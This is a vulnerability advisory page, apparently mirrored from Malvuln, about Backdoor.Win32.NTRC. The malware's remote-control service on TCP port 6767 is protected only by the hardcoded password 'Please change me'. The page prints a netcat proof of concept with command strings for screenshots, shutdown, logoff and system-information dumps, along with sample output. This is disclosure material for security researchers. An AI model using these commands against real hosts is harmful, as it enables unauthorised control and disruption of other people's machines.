Advertisement






Backdoor.Win32.NTRC / Weak Hardcoded Credentials

CVE Category Price Severity
CWE-798 Unknown High
Author Risk Exploitation Type Date
Unknown High Local 2022-10-02
CPE
cpe:cpe:/a:backdoor:win32-ntrc:weak_hardcoded_credentials
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022100009

Below is a copy:

Backdoor.Win32.NTRC / Weak Hardcoded Credentials
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/273fd3f33279cc9c0378a49cf63d7a06.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NTRC
Vulnerability: Weak Hardcoded Credentials
Family: NTRC
Type: PE32
MD5: 273fd3f33279cc9c0378a49cf63d7a06
Vuln ID: MVID-2022-0646
Disclosure: 10/02/2022
Description: The malware listens on TCP port 6767. Authentication is required, however the password "Please change me" is weak and hardcoded in cleartext at offset 0045E520. Commands get executed by sending the password delimited by a semicolon ";" E.g. Please change me;SystemInfo;. The command SendScreen dumps screenshot as .BMF file, to get the next part of the file issue SendScreenNextPart.

0045E520                 dd 16                   ; Len
0045E520                 db 'Please change me',0 ; Text
0045E539                 align 4


Exploit/PoC:
C:\>nc64.exe x.x.x.x 6767
SendScreen
SendScreenNextPart
Stop

Please change me;Shutdown;
Error;Can not shutdown the server. Please contact the author at [email protected]
Please change me;Logoff;

Please change me;SystemInfo;
SystemInfo;6.2;9200;Windows NT;Victim;DESKTOP-2C3IQHO;C:\WINDOWS;1;Intel;Intel Pentium

Please change me;SystemInfo2;
;;;;;0;0;0;0;0;;;;9 Mb;1480.29 Mb;27 %;2687.49 Mb;1607.21 Mb;40 %;2047.88 Mb;1893.88 Mb;D

Please change me;Logoff;
FolderMonitorChanged


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.